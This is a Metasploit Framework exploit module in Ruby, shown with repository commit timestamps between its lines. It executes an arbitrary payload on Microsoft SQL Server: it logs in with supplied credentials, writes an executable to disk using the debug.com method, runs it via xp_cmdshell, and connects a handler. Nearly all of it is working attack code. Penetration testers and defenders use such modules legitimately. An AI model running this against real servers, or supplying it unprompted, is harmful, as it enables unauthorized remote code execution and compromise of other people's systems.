2009-10-14 21:11:28 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::MSSQL
|
|
|
|
def initialize(info = {})
|
|
|
|
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Microsoft SQL Server Payload Execution',
|
|
|
|
'Description' => %q{
|
|
|
|
This module will execute an arbitrary payload on a Microsoft SQL
|
|
|
|
Server, using the Windows debug.com method for writing an executable to disk
|
|
|
|
and the xp_cmdshell stored procedure. File size restrictions are avoided by
|
|
|
|
incorporating the debug bypass method presented at Defcon 17 by SecureState.
|
|
|
|
Note that this module will leave a metasploit payload in the Windows
|
|
|
|
System32 directory which must be manually deleted once the attack is completed.
|
|
|
|
},
|
|
|
|
'Author' => [ 'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2009-10-18 22:05:19 +00:00
|
|
|
[ 'OSVDB', '557'],
|
|
|
|
[ 'CVE', '2000-0402'],
|
|
|
|
[ 'BID', '1281'],
|
2009-10-14 21:11:28 +00:00
|
|
|
[ 'URL', 'http://www.thepentest.com/presentations/FastTrack_ShmooCon2009.pdf'],
|
|
|
|
],
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Automatic', { } ],
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0
|
|
|
|
))
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
|
|
|
|
debug = false # enable to see the output
|
|
|
|
|
|
|
|
if(not mssql_login_datastore)
|
|
|
|
print_status("Invalid SQL Server credentials")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2009-10-18 20:58:01 +00:00
|
|
|
mssql_upload_exec(Msf::Util::EXE.to_win32pe(framework,payload.encoded), debug)
|
2009-10-14 21:11:28 +00:00
|
|
|
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
end
|